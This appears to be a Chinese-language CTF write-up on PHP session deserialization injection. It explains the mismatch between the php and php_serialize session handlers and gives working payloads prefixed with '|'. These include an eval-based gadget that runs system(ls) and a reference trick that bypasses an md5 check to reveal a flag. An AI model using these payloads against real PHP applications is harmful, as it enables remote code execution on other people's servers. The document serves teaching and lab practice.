将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中有三种存取格式:
(1)默认使用php:键名|键值(经过序列化函数处理的值)
name|s:6:"1FonlY";
(2)php_serialize:经过序列化函数处理的数组
a:1:{s:4:"name";s:6:"1FonlY";}
(3)php_binary:键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值
names:6:"1FonlY";
当序列化存储Session数据与反序列化读取Session数据的方式不同时,就可以利用引擎之间的差异产生序列化注入漏洞,session的反序列化漏洞就是利用php处理器和php_serialize处理器的存储格式差异。
比如这里先实例化一个对象,然后将其序列化为 O:7:"_1FonlY":1:{s:3:"cmd";N;},
如果传入 |O:7:"_1FonlY":1:{s:3:"cmd";N;},在使用php_serialize 引擎的时候,
序列化后的session 文件是这样的 a:1:{s:4:"name";s:31:"|O:7:"_1FonlY":1:{s:3:"cmd";N;}";},
这时,将a:1:{s:4:"name";s:31:" 当做键名,O:7:"_1FonlY":1:{s:3:"cmd";N;} 当做键值,将键值进行反序列化输出,这时就造成了序列化注入攻击。
方法:在上传session处的页面传入序列化的内容,在序列化内容前加 |
eg:
在save.php处存在以php_serialize的形式传入session,而在vul.php处使用php形式,存在引擎差异,因此在save.php处提交加上 | 的序列化后的内容便可导致session的反序列化漏洞。
<?php
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
$d=new D(); //实例化类D
$d->a='system(ls);'; //调用参数a执行系统函数
$t=serialize($d); //定义一个新参数来接收序列化后的内容
echo $t; //输出
在序列化内容前加上|
得到 |O:1:"D":1:{s:1:"a";s:11:"system(ls);";}
进行传入:
刷新vul.php页面,发现ls命令执行成功
再看一个例子:
要求name恒等于her,就会输出flag
再看一下hint.php
这里也是以php_serialize引擎传入session,但是在反序列化输出时是以php形式
编写php脚本:
<?php
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
$f = new Flag(); //实例化类F1ag
$f->name = &$f->her; //使用&引用让两个参数恒等(相当于给name起了一个别名叫her)
echo serialize($f); //序列化并输出
同理,在序列化结果前加上 |(管道符)
即 |O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
传入:
刷新index.php页面
拿到flag
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
总的来说就是,我们先判断它是否存在这样一个漏洞,一般看到有
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
这些比较具有特征性的PHP代码我们就该想到这个方向
存在session反序列化漏洞的话,我们先进行序列化,然后在结果前添加 | (管道符)
在传参页面进行上传,再去刷新读取页面即可。